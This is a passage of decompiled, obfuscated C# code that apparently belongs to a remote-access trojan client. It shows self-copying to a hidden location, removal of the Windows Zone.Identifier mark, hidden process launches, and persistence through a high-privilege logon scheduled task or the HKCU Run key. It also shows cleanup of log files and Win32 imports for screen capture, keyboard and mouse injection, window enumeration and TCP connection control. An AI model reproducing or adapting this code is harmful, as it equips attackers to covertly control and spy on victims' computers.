		File.Copy(Application.ExecutablePath, 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍, overwrite: true);
		\u102f嘛儱馧厲\ueb40鷦솝\u085f\ue80bか㉰㵋육畓䠊슓秢꽝噲();
		FileHelper.DeleteZoneIdentifier(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍);
		Process.Start(new ProcessStartInfo
		{
			WindowStyle = ProcessWindowStyle.Hidden,
			CreateNoWindow = true,
			UseShellExecute = false,
			FileName = 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍
		});
	}
}
public abstract class 袖煆欦밬㲝殴焒क़\u175c짇\uf8f0퐺\ue23d浾\ue7cbﴒ섺ᇰꋵ座
{
	protected 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ 牱聋埒\ue4b4頱筎❛ϥ\uf7c5\ua676⯧㾯Ṵ蠒꧷ߕ鯍ㅦ놉⿍;

	protected 袖煆欦밬㲝殴焒क़\u175c짇\uf8f0퐺\ue23d浾\ue7cbﴒ섺ᇰꋵ座()
	{
		牱聋埒\ue4b4頱筎❛ϥ\uf7c5\ua676⯧㾯Ṵ蠒꧷ߕ鯍ㅦ놉⿍ = new 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ();
	}
}
public class 쮚\ue0e8襱⢳उ嚺\uf0f1눳\ue6e3饃㸆Ⓖ\ue5c6眥ꩂ歟礐\ue713\ue9cb㔬 : 袖煆欦밬㲝殴焒क़\u175c짇\uf8f0퐺\ue23d浾\ue7cbﴒ섺ᇰꋵ座
{
	public void ᮄ鴙䃴�㥶櫗�ᆼ\uf2fd䓍啩\ue45a\uecb9\u1f5c愵뷮琗\uf813뎉烘(string executablePath, string startupName)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		if ((int)牱聋埒\ue4b4頱筎❛ϥ\uf7c5\ua676⯧㾯Ṵ蠒꧷ߕ鯍ㅦ놉⿍.Type == 0)
		{
			ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
			processStartInfo.Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + "\" /rl HIGHEST /f";
			processStartInfo.UseShellExecute = false;
			processStartInfo.CreateNoWindow = true;
			Process? process = Process.Start(processStartInfo);
			process.WaitForExit(1000);
			if (process.ExitCode == 0)
			{
				return;
			}
		}
		凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, addQuotes: true);
	}

	public void ⶄﷅ㾃륩㻻㚡큋ᔸ榞髝䈬眥棬魯㭻㢓뿒\uf772\ueac9Ἠ(string startupName)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		if ((int)牱聋埒\ue4b4頱筎❛ϥ\uf7c5\ua676⯧㾯Ṵ蠒꧷ߕ鯍ㅦ놉⿍.Type == 0)
		{
			Process? process = Process.Start(new ProcessStartInfo("schtasks")
			{
				Arguments = "/delete /tn \"" + startupName + "\" /f",
				UseShellExecute = false,
				CreateNoWindow = true
			});
			process.WaitForExit(1000);
			if (process.ExitCode == 0)
			{
				return;
			}
		}
		凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
	}
}
public class ठ筇㟭㎲醱\u0a5d�뷮л\ue585㾘\uf7f4횉ݤ깥뱆\u1af1畇鎅鋷 : 袖煆欦밬㲝殴焒क़\u175c짇\uf8f0퐺\ue23d浾\ue7cbﴒ섺ᇰꋵ座
{
	public void ꊊ፣沜ꂧ繿\ue6bd緁큻ⰳፈ獰\ue026稤振撊⚵宥퇞\u2453迠()
	{
		if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.燤곬몚Ⓐػ啻砈\ua4cc\uf183樓즡অボ띕道�驯降䞨⪷)
		{
			new 쮚\ue0e8襱⢳उ嚺\uf0f1눳\ue6e3饃㸆Ⓖ\ue5c6眥ꩂ歟礐\ue713\ue9cb㔬().ⶄﷅ㾃륩㻻㚡큋ᔸ榞髝䈬眥棬魯㭻㢓뿒\uf772\ueac9Ἠ(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.�봣枦譡ᥛ\u08e1ᣭ䁻ง툼巺斂\ueee6礂뭆୮胙ᡀ\u0a48ᆵ);
		}
		if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.夬\ued19\u1de6ꏄ쥇즯镜〴┋幱鬸䏰힃\uf1b1㶙浂Ж햐녲贼 && Directory.Exists(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7))
		{
			Regex reg = new Regex("^\\d{4}\\-(0[1-9]|1[012])\\-(0[1-9]|[12][0-9]|3[01])$");
			foreach (string item in (from path in Directory.GetFiles(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7, "*", SearchOption.TopDirectoryOnly)
				where reg.IsMatch(Path.GetFileName(path))
				select path).ToList())
			{
				try
				{
					File.Delete(item);
				}
				catch (Exception)
				{
				}
			}
		}
		string fileName = 银︼怖〲鿅Ａ띯쫡뱘\uf286爬씜샘蹌\uf5dd롬\ue60a鎄ᝰ穢.ﰟ�ቔ茩庻έ掗襒搪\uf3d8䐃ᇲ례箔\ue923꣕슜诺שׁ菬(Application.ExecutablePath);
		Process.Start(new ProcessStartInfo
		{
			WindowStyle = ProcessWindowStyle.Hidden,
			UseShellExecute = true,
			FileName = fileName
		});
	}
}
public class 걏鄺�羞π浳✜圵굘諧败\uec5c➘\uf0e0�勪㟚ㄷ銹䒀 : 袖煆欦밬㲝殴焒क़\u175c짇\uf8f0퐺\ue23d浾\ue7cbﴒ섺ᇰꋵ座
{
	public void 裢뎺뛑旀�먣蟫꯷䒪�绝瘰\uf6c9䱎⌦ꛁ棘\ufe01㳱妘(string newFilePath)
	{
		FileHelper.DeleteZoneIdentifier(newFilePath);
		if (!FileHelper.HasExecutableIdentifier(File.ReadAllBytes(newFilePath)))
		{
			throw new Exception("No executable file.");
		}
		string fileName = 银︼怖〲鿅Ａ띯쫡뱘\uf286爬씜샘蹌\uf5dd롬\ue60a鎄ᝰ穢.箒䌎䩭凫픵䖉캚䐙쾺\uf8f2⍧钇\uf163紿솤穽\uf3c1⯬\uf72eᔭ(Application.ExecutablePath, newFilePath);
		Process.Start(new ProcessStartInfo
		{
			WindowStyle = ProcessWindowStyle.Hidden,
			UseShellExecute = true,
			FileName = fileName
		});
		if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.燤곬몚Ⓐػ啻砈\ua4cc\uf183樓즡অボ띕道�驯降䞨⪷)
		{
			new 쮚\ue0e8襱⢳उ嚺\uf0f1눳\ue6e3饃㸆Ⓖ\ue5c6眥ꩂ歟礐\ue713\ue9cb㔬().ⶄﷅ㾃륩㻻㚡큋ᔸ榞髝䈬眥棬魯㭻㢓뿒\uf772\ueac9Ἠ(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.�봣枦譡ᥛ\u08e1ᣭ䁻ง툼巺斂\ueee6礂뭆୮胙ᡀ\u0a48ᆵ);
		}
	}
}
public class 瓛顯靫ꝃ퇍홶Ĭ讆ꦎＵ碅륮\uf19d\uf1e0\u0302腏欣焀⸺輋 : IDisposable
{
	private UserStatus ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑;

	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 獨\uf4fcይ�ﳧ猫䈚\ue225뤠䒊됆ꉬ畞ೠ糑\ue97e闞䠩谉�;

	private readonly CancellationTokenSource 뭊\uf49e籇覺㜢\u0c46埶㔽킿\ue45f\uea82뫺࿅噣憌씌�褕쳟\ue749;

	private readonly CancellationToken ጎ⯗\ufdce늳蚮藔骨㝍鋯訑䵳ᄷぐ༰흲칆ꨠ싈Ѵඏ;

	public 瓛顯靫ꝃ퇍홶Ĭ讆ꦎＵ碅륮\uf19d\uf1e0\u0302腏欣焀⸺輋(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		//IL_0031: Unknown result type (might be due to invalid IL or missing references)
		//IL_003b: Expected O, but got Unknown
		獨\uf4fcይ�ﳧ猫䈚\ue225뤠䒊됆ꉬ畞ೠ糑\ue97e闞䠩谉� = client;
		뭊\uf49e籇覺㜢\u0c46埶㔽킿\ue45f\uea82뫺࿅噣憌씌�褕쳟\ue749 = new CancellationTokenSource();
		ጎ⯗\ufdce늳蚮藔骨㝍鋯訑䵳ᄷぐ༰흲칆ꨠ싈Ѵඏ = 뭊\uf49e籇覺㜢\u0c46埶㔽킿\ue45f\uea82뫺࿅噣憌씌�褕쳟\ue749.Token;
		((Client)client).ClientState += new ClientStateEventHandler(棿\ue13d뜭譣\uf4f9闪\ue4ba擴뽥꩝�쀞殈\uf094흚氄楁ṯ⺈�);
	}

	private void 棿\ue13d뜭譣\uf4f9闪\ue4ba擴뽥꩝�쀞殈\uf094흚氄楁ṯ⺈�(Client s, bool connected)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		if (connected)
		{
			ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑 = (UserStatus)0;
		}
	}

	public void 〿ﵨ纠൘詊뜚ጒ颱줋箊\uf310䤠吲ڃ䱈ཎ혖呷庒셞()
	{
		new Thread(ꁿ螠�稔Ꝧ♌묁Ϯꑿᝯ�\u0efc⏘ﺼ\uf841ꥂ\ue55a霫�箍).Start();
	}

	private void ꁿ螠�稔Ꝧ♌묁Ϯꑿᝯ�\u0efc⏘ﺼ\uf841ꥂ\ue55a霫�箍()
	{
		//IL_0039: Unknown result type (might be due to invalid IL or missing references)
		//IL_0009: Unknown result type (might be due to invalid IL or missing references)
		//IL_000f: Invalid comparison between Unknown and I4
		//IL_0044: Unknown result type (might be due to invalid IL or missing references)
		//IL_004f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0054: Unknown result type (might be due to invalid IL or missing references)
		//IL_0056: Unknown result type (might be due to invalid IL or missing references)
		//IL_0065: Expected O, but got Unknown
		//IL_0015: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Unknown result type (might be due to invalid IL or missing references)
		//IL_0025: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0036: Expected O, but got Unknown
		try
		{
			if (䬫㏀蕡伆閏闙\ue570嘌쉆聘沕�浕젞榃淼\u1cfc攚Ƒ䒡())
			{
				if ((int)ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑 != 1)
				{
					ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑 = (UserStatus)1;
					((Client)獨\uf4fcይ�ﳧ猫䈚\ue225뤠䒊됆ꉬ畞ೠ糑\ue97e闞䠩谉�).Send<SetUserStatus>(new SetUserStatus
					{
						Message = ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑
					});
				}
			}
			else if ((int)ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑 != 0)
			{
				ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑 = (UserStatus)0;
				((Client)獨\uf4fcይ�ﳧ猫䈚\ue225뤠䒊됆ꉬ畞ೠ糑\ue97e闞䠩谉�).Send<SetUserStatus>(new SetUserStatus
				{
					Message = ꇵ᯼㞁\ue6b8包梡�Ⱍ뢭퀸蓨\uee0a啤ꀥ吃逜陇\u2e61\ud7aa肑
				});
			}
		}
		catch (Exception ex) when (ex is NullReferenceException || ex is ObjectDisposedException)
		{
		}
	}

	private bool 䬫㏀蕡伆閏闙\ue570嘌쉆聘沕�浕젞榃淼\u1cfc攚Ƒ䒡()
	{
		long num = Environment.TickCount - 뤪짒\u1dd4쏅猌\ue445뻪坐휈縖啼\u064fቓ쪌㛌Ց伋蹁楼ᶆ.\u0a01췮뙦ƴ\uebfe\u20c6팉⩀뷡嚴䞴商�ꑥ\ue629蝭祗癈黴섑();
		return ((num > 0) ? (num / 1000) : 0) > 600;
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		//IL_0011: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Expected O, but got Unknown
		if (disposing)
		{
			((Client)獨\uf4fcይ�ﳧ猫䈚\ue225뤠䒊됆ꉬ畞ೠ糑\ue97e闞䠩谉�).ClientState -= new ClientStateEventHandler(棿\ue13d뜭譣\uf4f9闪\ue4ba擴뽥꩝�쀞殈\uf094흚氄楁ṯ⺈�);
			뭊\uf49e籇覺㜢\u0c46埶㔽킿\ue45f\uea82뫺࿅噣憌씌�褕쳟\ue749.Cancel();
			뭊\uf49e籇覺㜢\u0c46埶㔽킿\ue45f\uea82뫺࿅噣憌씌�褕쳟\ue749.Dispose();
		}
	}
}
public class 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ
{
	[CompilerGenerated]
	private readonly string 촽뇳\ue025雱㧸怰⎗껗䦇\uf678嗢釴鬾里窪䃪芷ʿ䷵⠏;

	[CompilerGenerated]
	private readonly AccountType \u09ff唷㪇崝З�䲑屍蕲냣虙ꅚₓ꾿㫐落訴苆\u0fe4\uf361;

	public string UserName
	{
		[CompilerGenerated]
		get
		{
			return 촽뇳\ue025雱㧸怰⎗껗䦇\uf678嗢釴鬾里窪䃪芷ʿ䷵⠏;
		}
	}

	public AccountType Type
	{
		[CompilerGenerated]
		get
		{
			//IL_0001: Unknown result type (might be due to invalid IL or missing references)
			return \u09ff唷㪇崝З�䲑屍蕲냣虙ꅚₓ꾿㫐落訴苆\u0fe4\uf361;
		}
	}

	public 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ()
	{
		//IL_002d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0043: Unknown result type (might be due to invalid IL or missing references)
		//IL_0062: Unknown result type (might be due to invalid IL or missing references)
		//IL_0059: Unknown result type (might be due to invalid IL or missing references)
		촽뇳\ue025雱㧸怰⎗껗䦇\uf678嗢釴鬾里窪䃪芷ʿ䷵⠏ = Environment.UserName;
		using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent();
		WindowsPrincipal windowsPrincipal = new WindowsPrincipal(ntIdentity);
		if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator))
		{
			\u09ff唷㪇崝З�䲑屍蕲냣虙ꅚₓ꾿㫐落訴苆\u0fe4\uf361 = (AccountType)0;
		}
		else if (windowsPrincipal.IsInRole(WindowsBuiltInRole.User))
		{
			\u09ff唷㪇崝З�䲑屍蕲냣虙ꅚₓ꾿㫐落訴苆\u0fe4\uf361 = (AccountType)1;
		}
		else if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Guest))
		{
			\u09ff唷㪇崝З�䲑屍蕲냣虙ꅚₓ꾿㫐落訴苆\u0fe4\uf361 = (AccountType)2;
		}
		else
		{
			\u09ff唷㪇崝З�䲑屍蕲냣虙ꅚₓ꾿㫐落訴苆\u0fe4\uf361 = (AccountType)3;
		}
	}
}
public static class 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰
{
	internal struct LASTINPUTINFO
	{
		public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));

		[MarshalAs(UnmanagedType.U4)]
		public uint cbSize;

		[MarshalAs(UnmanagedType.U4)]
		public uint dwTime;
	}

	internal struct INPUT
	{
		internal uint type;

		internal InputUnion u;

		internal static int Size => Marshal.SizeOf(typeof(INPUT));
	}

	[StructLayout(LayoutKind.Explicit)]
	internal struct InputUnion
	{
		[FieldOffset(0)]
		internal MOUSEINPUT mi;

		[FieldOffset(0)]
		internal KEYBDINPUT ki;

		[FieldOffset(0)]
		internal HARDWAREINPUT hi;
	}

	internal struct MOUSEINPUT
	{
		internal int dx;

		internal int dy;

		internal int mouseData;

		internal uint dwFlags;

		internal uint time;

		internal IntPtr dwExtraInfo;
	}

	internal struct KEYBDINPUT
	{
		internal ushort wVk;

		internal ushort wScan;

		internal uint dwFlags;

		internal uint time;

		internal IntPtr dwExtraInfo;
	}

	internal struct HARDWAREINPUT
	{
		public uint uMsg;

		public ushort wParamL;

		public ushort wParamH;
	}

	internal delegate bool EnumDesktopWindowsProc(IntPtr hDesktop, IntPtr lParam);

	internal struct MibTcprowOwnerPid
	{
		public uint state;

		public uint localAddr;

		[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
		public byte[] localPort;

		public uint remoteAddr;

		[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
		public byte[] remotePort;

		public uint owningPid;

		public IPAddress LocalAddress => new IPAddress(localAddr);

		public ushort LocalPort => BitConverter.ToUInt16(new byte[2]
		{
			localPort[1],
			localPort[0]
		}, 0);

		public IPAddress RemoteAddress => new IPAddress(remoteAddr);

		public ushort RemotePort => BitConverter.ToUInt16(new byte[2]
		{
			remotePort[1],
			remotePort[0]
		}, 0);
	}

	internal struct MibTcptableOwnerPid
	{
		public uint dwNumEntries;

		private readonly MibTcprowOwnerPid table;
	}

	internal enum TcpTableClass
	{
		TcpTableBasicListener,
		TcpTableBasicConnections,
		TcpTableBasicAll,
		TcpTableOwnerPidListener,
		TcpTableOwnerPidConnections,
		TcpTableOwnerPidAll,
		TcpTableOwnerModuleListener,
		TcpTableOwnerModuleConnections,
		TcpTableOwnerModuleAll
	}

	[DllImport("kernel32.dll", CharSet = CharSet.Unicode, EntryPoint = "LoadLibrary", SetLastError = true)]
	public static extern IntPtr 쯢浱ꨁ\uf5ea\u1058⠅\ua634녎泉題흾咤\ue303ﻤ㭭\u0ad5麨춬Თ\ueaed(string lpFileName);

	[DllImport("kernel32.dll", EntryPoint = "FreeLibrary", SetLastError = true)]
	[return: MarshalAs(UnmanagedType.Bool)]
	public static extern bool 聄\ue2d7Ჸ퍱纑쌹렜䃏伾�댮䲾Ё\ue685㴣\ue1a2飘犄料眍(IntPtr hModule);

	[DllImport("kernel32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetProcAddress", SetLastError = true)]
	public static extern IntPtr ሾ泡阷柒뺵苾㦩\u1de6쒇靮옳譊퉎�Ǫ䯀鰎\ua708鶒€(IntPtr hModule, string procName);

	[DllImport("kernel32.dll", EntryPoint = "QueryFullProcessImageName", SetLastError = true)]
	internal static extern bool 徽榗尐\u0326\u0fac擑螅시哕䫑ⵔ\ueaf9킐銒⛁�\uf4b9씎䆈䙉([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In][Out] ref uint lpdwSize);

	[DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
	[return: MarshalAs(UnmanagedType.Bool)]
	internal static extern bool 瀠竚먒㤡鱾톏\uefe9磻ລ偀镃㽓㽬挭惫ē喇禡鶏\ue5bd([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);

	[DllImport("gdi32.dll", CharSet = CharSet.Unicode, EntryPoint = "CreateDC")]
	internal static extern IntPtr 糊倲氱駠ꏬㆃ\ue5c7炓㖑\ua6fb\ue29c齅鲦㣋扴悅\u1bf5鮛옿\u08d7(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);

	[DllImport("gdi32.dll", EntryPoint = "DeleteDC")]
	internal static extern bool 衾욮껐�⮙ꛙ硠\uf8f8췲ᅷᄙ嚌\ue88b鎷鉄沑\u0306䋴\uf828辝([In] IntPtr hdc);

	[DllImport("user32.dll", EntryPoint = "GetLastInputInfo")]
	internal static extern bool 閙⥲\uf5b4㬞䃪큰䛳ᮒ\ue777⺀\u0a65\uea4f饂徥흒匨삝杶ᡢ\uee56(ref LASTINPUTINFO plii);

	[DllImport("user32.dll", EntryPoint = "SetCursorPos")]
	internal static extern bool ⽠齥鶣䛜초꓿\ue4d3\ue46b龱捽ꑀ\uf26b\u02dd풟ꑍ瀫剖퉳夽좩(int x, int y);

	[DllImport("user32.dll", EntryPoint = "GetMessageExtraInfo")]
	internal static extern IntPtr \ueda0\uf6df읿㋉包䏹⣓潈⡴묥홱䳡쑋攡ԥ絼塬慐ꐨ೩();

	[DllImport("user32.dll", EntryPoint = "SendInput")]
	internal static extern uint \ue522텭㍐鲞亩\uabe7鲂蹶�\u2fe4㚋\uf876लｫ慤\uf02d븐效隳衙(uint nInputs, [In][MarshalAs(UnmanagedType.LPArray)] INPUT[] pInputs, int cbSize);

	[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
	internal static extern bool 歩�魌ꮂ瀚\uebc4ᚄ픙\ue8d8ཤ㢌見固\ue24b硟䦙䴤Ƶ㎲쩴(uint uAction, uint uParam, ref IntPtr lpvParam, uint flags);

	[DllImport("user32.dll", EntryPoint = "PostMessage")]
	internal static extern int 㞄먤╀�롿ꂛ�쬪♞㴐萃\ue3e4擎䧤謖ꖅꄴ逵脅\uefeb(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);

	[DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "OpenDesktop")]
	internal static extern IntPtr 装㡪짦졣ﻊ\uf326�⻮뀁뇓턝\u2d74\ue687ꎓ煀덐Ⳣ蜾\uf32d鲯(string hDesktop, int flags, bool inherit, uint desiredAccess);

	[DllImport("user32.dll", EntryPoint = "CloseDesktop")]
	internal static extern bool 庍䣯졪崔쩳\u0b5b瞘傫ﱈ\ueaf6\uef8d齱\ue752扰䒻噌䊐龿뢮㱽(IntPtr hDesktop);

	[DllImport("user32.dll", EntryPoint = "EnumDesktopWindows")]
	internal static extern bool 緝諜㇡㢖꾉嗱Ⲳ횷莼妑靍澁뙛弱凛넳\ue8fb焓苡圲(IntPtr hDesktop, EnumDesktopWindowsProc callback, IntPtr lParam);

	[DllImport("user32.dll", EntryPoint = "IsWindowVisible")]
	internal static extern bool ␍\ue70d礿\uf45f\u0c0d椕㠏\u1a5c\uf6b3凄둇灜켅嶲㲧⚈㪉뛞葖\u2de5(IntPtr hWnd);

	[DllImport("user32.dll", EntryPoint = "GetForegroundWindow")]
	internal static extern IntPtr 㢔룻贈엽䣽熧䶺ཌྷⱫ鏻Սꟓ遈\uec65啍涚ꀓ㎧튫ล();

	[DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "GetWindowText", SetLastError = true)]
	internal static extern int ȅ⛰낾㨉펇껑졵\ue152跋朅㭳\u0ac1ᨳᓑ힇언\uf767䍋嵽ﯢ(IntPtr hWnd, StringBuilder lpString, int nMaxCount);

	[DllImport("iphlpapi.dll", EntryPoint = "GetExtendedTcpTable", SetLastError = true)]
	internal static extern uint 墹ᆎ運\u0c5b觎༥\uedf9춪\ue216骣ꌮ뗲墾腌\ua953嚤\ufffa爬エ禒(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TcpTableClass tblClass, uint reserved = 0u);

	[DllImport("iphlpapi.dll", EntryPoint = "SetTcpEntry")]
	internal static extern int 괧䊭怰䡿봱퐾ࢭ㸧ꟶ첇磌\uf5df㹲캅昸凉岀䨑㹻ꌑ(IntPtr pTcprow);
}
public class 긥\uef78\ue513옱祶⪎䬑嘘\ua8c0ȶ⢧짶䧇鳭㴯ᡢ푢㔗\ua881聆 : IDisposable
{
	private readonly Mutex 藫볡㔼\ue784츈寋猐윖磙躮蚴쾬摶픉붇둢ꋲꗗ쑂귁;

	[CompilerGenerated]
	private readonly bool 꾸㵉�澬最儎㚈㈈\uab0f䩐菦\uf353\u0a54Л棕\u0c70翂鋗赁戌;

	[CompilerGenerated]
	private bool 糼\ue02c軫ꒃ�ꈲ﨡荲\uf8bc抆綨6\ua80b\ufb37\u09bf⸜\ue506唍뼟ꃟ;

	public bool CreatedNew
	{
		[CompilerGenerated]
		get
		{
			return 꾸㵉�澬最儎㚈㈈\uab0f䩐菦\uf353\u0a54Л棕\u0c70翂鋗赁戌;
		}
	}

	public bool IsDisposed
	{
		[CompilerGenerated]
		get
		{
			return 糼\ue02c軫ꒃ�ꈲ﨡荲\uf8bc抆綨6\ua80b\ufb37\u09bf⸜\ue506唍뼟ꃟ;
		}
		[CompilerGenerated]
		private set
		{
			糼\ue02c軫ꒃ�ꈲ﨡荲\uf8bc抆綨6\ua80b\ufb37\u09bf⸜\ue506唍뼟ꃟ = value;
		}
	}

	public 긥\uef78\ue513옱祶⪎䬑嘘\ua8c0ȶ⢧짶䧇鳭㴯ᡢ푢㔗\ua881聆(string name)
	{
		藫볡㔼\ue784츈寋猐윖磙躮蚴쾬摶픉붇둢ꋲꗗ쑂귁 = new Mutex(initiallyOwned: false, "Local\\" + name, out var createdNew);
		꾸㵉�澬最儎㚈㈈\uab0f䩐菦\uf353\u0a54Л棕\u0c70翂鋗赁戌 = createdNew;
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		if (!IsDisposed)
		{
			if (disposing)
			{
				藫볡㔼\ue784츈寋猐윖磙躮蚴쾬摶픉붇둢ꋲꗗ쑂귁?.Dispose();
			}
			IsDisposed = true;
		}
	}
}
namespace Costura;

[CompilerGenerated]
internal static class AssemblyLoader
{
	private static object nullCacheLock = new object();

	private static Dictionary<string, bool> nullCache = new Dictionary<string, bool>();

	private static Dictionary<string, string> assemblyNames = new Dictionary<string, string>();

	private static Dictionary<string, string> symbolNames = new Dictionary<string, string>();

	private static int isAttached;

	private static string CultureToString(CultureInfo culture)
	{
		if (culture == null)
		{
			return string.Empty;
		}
		return culture.Name;
	}

	private static Assembly ReadExistingAssembly(AssemblyName name)
	{
		AppDomain currentDomain = AppDomain.CurrentDomain;
		Assembly[] assemblies = currentDomain.GetAssemblies();
		Assembly[] array = assemblies;
		foreach (Assembly assembly in array)
		{
			AssemblyName name2 = assembly.GetName();
			if (string.Equals(name2.Name, name.Name, StringComparison.InvariantCultureIgnoreCase) && string.Equals(CultureToString(name2.CultureInfo), CultureToString(name.CultureInfo), StringComparison.InvariantCultureIgnoreCase))
			{
				return assembly;
			}
		}
		return null;
	}

	private static string GetAssemblyResourceName(AssemblyName requestedAssemblyName)
	{
		string text = requestedAssemblyName.Name.ToLowerInvariant();
		if (requestedAssemblyName.CultureInfo != null && !string.IsNullOrEmpty(requestedAssemblyName.CultureInfo.Name))
		{
			text = (CultureToString(requestedAssemblyName.CultureInfo) + "." + text).ToLowerInvariant();
		}
		return text;
	}

	private static void CopyTo(Stream source, Stream destination)
	{
		byte[] array = new byte[81920];
		int count;
		while ((count = source.Read(array, 0, array.Length)) != 0)
		{
			destination.Write(array, 0, count);
		}
	}

	private static Stream LoadStream(string fullName)
	{
		Assembly executingAssembly = Assembly.GetExecutingAssembly();
		if (fullName.EndsWith(".compressed"))
		{
			using (Stream stream = executingAssembly.GetManifestResourceStream(fullName))
			{
				using DeflateStream source = new DeflateStream(stream, CompressionMode.Decompress);
				MemoryStream memoryStream = new MemoryStream();
				CopyTo(source, memoryStream);
				memoryStream.Position = 0L;
				return memoryStream;
			}
		}
		return executingAssembly.GetManifestResourceStream(fullName);
	}

	private static Stream LoadStream(Dictionary<string, string> resourceNames, string name)
	{
		if (resourceNames.TryGetValue(name, out var value))
		{
			return LoadStream(value);
		}
		return null;
	}

	private static byte[] ReadStream(Stream stream)
	{
		byte[] array = new byte[stream.Length];
